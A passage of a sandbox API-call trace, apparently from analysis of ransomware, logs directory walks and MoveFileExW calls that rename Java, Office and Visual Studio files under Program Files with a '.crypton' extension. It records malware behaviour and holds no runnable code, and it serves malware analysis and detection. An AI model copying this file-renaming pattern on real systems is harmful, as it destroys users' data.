lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe95e8f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe95e8f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0181.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar.crypton"), dwFlags=0x2) returned 1 [0181.595] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar.crypton"), dwFlags=0x2) returned 1 [0181.944] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar.crypton"), dwFlags=0x2) returned 1 [0182.249] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar.crypton"), dwFlags=0x2) returned 1 [0182.258] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9fe0ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xe9fe0ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.262] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar.crypton"), dwFlags=0x2) returned 1 [0182.267] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar.crypton"), dwFlags=0x2) returned 1 [0182.273] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea006d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea006d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.278] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea006d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea006d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.285] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea02ce60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea02ce60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.293] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea02ce60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea02ce60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0182.303] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea052fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea052fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0182.311] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea052fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea052fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0182.319] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea079120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea079120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0182.326] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea079120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea079120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.333] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea09f280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea09f280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.346] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea0c53e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea0c53e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.353] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea0c53e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea0c53e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.359] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea0c53e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea0c53e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.370] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea0eb540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea0eb540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.377] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea1116a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea1116a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.383] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea1116a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea1116a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.390] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea1116a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea1116a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.392] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\README.txt.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt.crypton"), dwFlags=0x2) returned 1 [0182.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt.crypton"), dwFlags=0x2) returned 1 [0182.552] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt.crypton"), dwFlags=0x2) returned 1 [0182.557] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\Welcome.html.crypton" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html.crypton"), dwFlags=0x2) returned 1 [0182.564] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea2da720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea2da720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0182.568] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea2da720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea2da720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0182.574] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea2da720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea2da720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0182.580] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea300880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea300880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.584] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea300880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea300880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.589] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea300880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea300880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.589] GetFileType (hFile=0x1f4) returned 0x1 [0182.592] GetFileType (hFile=0x1f4) returned 0x1 [0182.593] GetFileType (hFile=0x1f4) returned 0x1 [0182.594] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea3269e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea3269e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0182.599] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea3269e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea3269e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0182.603] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xea3269e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea3269e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0182.608] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea3269e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea3269e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0182.616] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea34cb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea34cb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0182.622] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea34cb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea34cb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0182.628] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea372ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea372ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.636] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea372ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea372ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.643] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea398e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea398e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.649] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea398e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea398e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0182.656] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea3bef60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea3bef60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0182.662] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea3bef60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea3bef60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0182.683] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip.crypton" (normalized: "c:\\program files (x86)\\microsoft visual studio 